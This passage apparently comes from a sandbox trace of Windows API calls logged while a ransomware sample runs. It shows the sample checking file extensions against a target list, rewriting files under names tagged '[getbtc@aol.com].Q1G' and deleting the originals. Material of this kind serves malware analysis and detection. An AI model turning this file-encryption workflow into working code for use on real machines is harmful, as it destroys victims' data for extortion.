files\\system\\msadc\\adcjavas.inc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0051.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0051.484] lstrlenW (lpString=".doc") returned 4 [0051.484] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.484] lstrlenW (lpString=".docx") returned 5 [0051.484] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.484] lstrlenW (lpString=".pdf") returned 4 [0051.484] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.484] lstrlenW (lpString=".xls") returned 4 [0051.484] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.484] lstrlenW (lpString=".xlsx") returned 5 [0051.484] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.484] lstrlenW (lpString=".ppt") returned 4 [0051.484] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0051.484] lstrlenW (lpString=".zip") returned 4 [0051.484] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.484] lstrlenW (lpString=".rar") returned 4 [0051.484] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.484] lstrlenW (lpString=".bz2") returned 4 [0051.484] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.484] lstrlenW (lpString=".7z") returned 3 [0051.485] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0051.485] lstrlenW (lpString=".dbf") returned 4 [0051.485] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0051.485] lstrlenW (lpString=".1cd") returned 4 [0051.485] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0051.485] lstrlenW (lpString=".jpg") returned 4 [0051.485] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0051.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0051.485] lstrlenW (lpString=".doc") returned 4 [0051.485] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0051.485] lstrlenW (lpString=".docx") returned 5 [0051.485] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0051.485] lstrlenW (lpString=".pdf") returned 4 [0051.485] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0051.485] lstrlenW (lpString=".xls") returned 4 [0051.485] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0051.485] lstrlenW (lpString=".xlsx") returned 5 [0051.485] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0051.485] lstrlenW (lpString=".ppt") returned 4 [0051.485] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0051.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0051.485] lstrlenW (lpString=".zip") returned 4 [0051.485] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0051.485] lstrlenW (lpString=".rar") returned 4 [0051.485] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0051.485] lstrlenW (lpString=".bz2") returned 4 [0051.485] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0051.485] lstrlenW (lpString=".7z") returned 3 [0051.485] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0051.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0051.485] lstrlenW (lpString=".dbf") returned 4 [0051.486] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0051.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0051.486] lstrlenW (lpString=".1cd") returned 4 [0051.486] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0051.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0051.486] lstrlenW (lpString=".jpg") returned 4 [0051.486] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0051.486] lstrcmpiW (lpString1=".ini", lpString2=".Q1G") returned -1 [0051.486] lstrlenW (lpString="desktop.ini") returned 11 [0051.486] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.498] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=174) returned 1 [0051.517] CloseHandle (hObject=0x208) returned 1 [0051.573] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0051.693] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.786] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.786] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.786] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.786] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.787] GetLastError () returned 0x0 [0051.787] ReadFile (in: hFile=0x208, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0xae, lpOverlapped=0x0) returned 1 [0051.788] WriteFile (in: hFile=0x1f0, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0051.789] ReadFile (in: hFile=0x208, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.789] WriteFile (in: hFile=0x1f0, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.789] SetEndOfFile (hFile=0x1f0) returned 1 [0051.789] CloseHandle (hObject=0x1f0) returned 1 [0051.789] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.789] SetEndOfFile (hFile=0x208) returned 1 [0051.790] CloseHandle (hObject=0x208) returned 1 [0051.790] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x26) returned 1 [0051.792] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0051.792] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.792] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.792] lstrlenW (lpString=".doc") returned 4 [0051.792] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0051.792] lstrlenW (lpString=".docx") returned 5 [0051.792] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0051.792] lstrlenW (lpString=".pdf") returned 4 [0051.792] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0051.792] lstrlenW (lpString=".xls") returned 4 [0051.792] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0051.792] lstrlenW (lpString=".xlsx") returned 5 [0051.792] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0051.792] lstrlenW (lpString=".ppt") returned 4 [0051.792] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0051.792] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.792] lstrlenW (lpString=".zip") returned 4 [0051.792] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0051.792] lstrlenW (lpString=".rar") returned 4 [0051.792] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0051.792] lstrlenW (lpString=".bz2") returned 4 [0051.792] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0051.792] lstrlenW (lpString=".7z") returned 3 [0051.792] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0051.793] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.793] lstrlenW (lpString=".dbf") returned 4 [0051.793] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0051.793] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.793] lstrlenW (lpString=".1cd") returned 4 [0051.793] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0051.793] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.794] lstrlenW (lpString=".jpg") returned 4 [0051.794] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0051.794] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.794] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.794] lstrlenW (lpString=".doc") returned 4 [0051.796] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0051.796] lstrlenW (lpString=".docx") returned 5 [0051.796] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0051.796] lstrlenW (lpString=".pdf") returned 4 [0051.796] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0051.796] lstrlenW (lpString=".xls") returned 4 [0051.796] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0051.796] lstrlenW (lpString=".xlsx") returned 5 [0051.796] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0051.796] lstrlenW (lpString=".ppt") returned 4 [0051.796] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0051.796] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.796] lstrlenW (lpString=".zip") returned 4 [0051.797] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0051.797] lstrlenW (lpString=".rar") returned 4 [0051.797] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0051.797] lstrlenW (lpString=".bz2") returned 4 [0051.797] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0051.797] lstrlenW (lpString=".7z") returned 3 [0051.797] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0051.797] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.797] lstrlenW (lpString=".dbf") returned 4 [0051.797] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0051.797] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.797] lstrlenW (lpString=".1cd") returned 4 [0051.797] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0051.797] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.797] lstrlenW (lpString=".jpg") returned 4 [0051.797] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0051.797] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0051.797] lstrlenW (lpString="DissolveAnother.png") returned 19 [0051.797] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.810] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=27935) returned 1 [0051.810] CloseHandle (hObject=0x208) returned 1 [0051.810] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png")) returned 0x20 [0051.810] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.810] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.810] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0051.810] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0051.810] lstrlenW (lpString=".doc") returned 4 [0051.810] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.810] lstrlenW (lpString=".docx") returned 5 [0051.810] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0051.810] lstrlenW (lpString=".pdf") returned 4 [0051.810] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.810] lstrlenW (lpString=".xls") returned 4 [0051.810] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.811] lstrlenW (lpString=".xlsx") returned 5 [0051.811] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0051.811] lstrlenW (lpString=".ppt") returned 4 [0051.811] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.811] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0051.811] lstrlenW (lpString=".zip") returned 4 [0051.811] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.811] lstrlenW (lpString=".rar") returned 4 [0051.811] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.811] lstrlenW (lpString=".bz2") returned 4 [0051.811] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.811] lstrlenW (lpString=".7z") returned 3 [0051.811] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.811] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0051.811] lstrlenW (lpString=".dbf") returned 4 [0051.811] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.811] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0051.811] lstrlenW (lpString=".1cd") returned 4 [0051.811] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.811] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0051.811] lstrlenW (lpString=".jpg") returned 4 [0051.811] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.811] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0051.811] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0051.811] lstrlenW (lpString=".doc") returned 4 [0051.811] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.811] lstrlenW (lpString=".docx") returned 5 [0051.811] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0051.811] lstrlenW (lpString=".pdf") returned 4 [0051.811] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.811] lstrlenW (lpString=".xls") returned 4 [0051.811] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.811] lstrlenW (lpString=".xlsx") returned 5 [0051.811] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0051.811] lstrlenW (lpString=".ppt") returned 4 [0051.812] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.812] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0051.812] lstrlenW (lpString=".zip") returned 4 [0051.812] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.812] lstrlenW (lpString=".rar") returned 4 [0051.812] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.812] lstrlenW (lpString=".bz2") returned 4 [0051.812] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.812] lstrlenW (lpString=".7z") returned 3 [0051.812] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.812] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0051.812] lstrlenW (lpString=".dbf") returned 4 [0051.812] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.812] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0051.812] lstrlenW (lpString=".1cd") returned 4 [0051.812] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.812] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0051.812] lstrlenW (lpString=".jpg") returned 4 [0051.812] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.812] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0051.812] lstrlenW (lpString="16to9Squareframe_VideoInset.png") returned 31 [0051.812] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.820] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3316) returned 1 [0051.825] CloseHandle (hObject=0x208) returned 1 [0051.832] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0051.838] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.839] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.839] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.839] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.839] lstrlenW (lpString=".doc") returned 4 [0051.839] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.839] lstrlenW (lpString=".docx") returned 5 [0051.839] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0051.839] lstrlenW (lpString=".pdf") returned 4 [0051.839] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.839] lstrlenW (lpString=".xls") returned 4 [0051.839] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.839] lstrlenW (lpString=".xlsx") returned 5 [0051.839] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0051.839] lstrlenW (lpString=".ppt") returned 4 [0051.839] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.839] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.839] lstrlenW (lpString=".zip") returned 4 [0051.839] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.839] lstrlenW (lpString=".rar") returned 4 [0051.839] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.839] lstrlenW (lpString=".bz2") returned 4 [0051.839] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.839] lstrlenW (lpString=".7z") returned 3 [0051.839] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.839] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.839] lstrlenW (lpString=".dbf") returned 4 [0051.839] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.839] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.840] lstrlenW (lpString=".1cd") returned 4 [0051.840] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.840] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.840] lstrlenW (lpString=".jpg") returned 4 [0051.840] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.840] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.840] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.840] lstrlenW (lpString=".doc") returned 4 [0051.840] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.840] lstrlenW (lpString=".docx") returned 5 [0051.840] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0051.840] lstrlenW (lpString=".pdf") returned 4 [0051.840] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.840] lstrlenW (lpString=".xls") returned 4 [0051.840] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.840] lstrlenW (lpString=".xlsx") returned 5 [0051.840] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0051.840] lstrlenW (lpString=".ppt") returned 4 [0051.840] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.840] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.840] lstrlenW (lpString=".zip") returned 4 [0051.840] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.840] lstrlenW (lpString=".rar") returned 4 [0051.840] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.840] lstrlenW (lpString=".bz2") returned 4 [0051.840] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.840] lstrlenW (lpString=".7z") returned 3 [0051.840] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.840] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.840] lstrlenW (lpString=".dbf") returned 4 [0051.840] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.840] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.840] lstrlenW (lpString=".1cd") returned 4 [0051.840] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.840] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.840] lstrlenW (lpString=".jpg") returned 4 [0051.841] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.841] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0051.841] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32 [0051.841] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.368] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=5088) returned 1 [0052.368] CloseHandle (hObject=0x208) returned 1 [0052.368] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png")) returned 0x20 [0052.368] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.369] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.369] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0052.369] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0052.369] lstrlenW (lpString=".doc") returned 4 [0052.369] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.369] lstrlenW (lpString=".docx") returned 5 [0052.369] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0052.369] lstrlenW (lpString=".pdf") returned 4 [0052.369] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.369] lstrlenW (lpString=".xls") returned 4 [0052.369] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.369] lstrlenW (lpString=".xlsx") returned 5 [0052.369] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0052.369] lstrlenW (lpString=".ppt") returned 4 [0052.369] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.369] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0052.369] lstrlenW (lpString=".zip") returned 4 [0052.369] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.369] lstrlenW (lpString=".rar") returned 4 [0052.369] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 